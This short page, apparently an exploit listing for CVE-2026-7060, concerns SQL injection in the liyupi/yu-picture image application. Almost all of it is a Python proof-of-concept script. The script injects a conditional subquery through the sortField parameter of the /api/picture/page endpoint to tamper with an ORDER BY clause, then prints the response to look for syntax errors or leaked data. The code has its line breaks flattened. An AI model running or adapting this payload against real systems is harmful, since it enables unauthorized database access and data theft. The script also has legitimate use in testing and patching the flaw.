CVE-2026-7060: liyupi/yu-picture SQL注入漏洞

import requests def check_sqli(url): # Target endpoint based on the vulnerable component target = f"{url}/api/picture/page" # Payload attempts to inject a conditional statement into the ORDER BY clause # If successful, it may cause a time delay or specific syntax error payload = "id,(SELECT CASE WHEN (1=1) THEN id ELSE (SELECT 1 UNION SELECT 2) END)" params = { "current": 1, "pageSize": 10, "sortField": payload, "sortOrder": "asc" } try: response = requests.get(target, params=params, timeout=10) if response.status_code == 200: print("[+] Request sent successfully, check response for SQL syntax errors or data leakage.") print(response.text[:200]) else: print(f"[-] Unexpected status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target_url = "http://localhost:8080" check_sqli(target_url)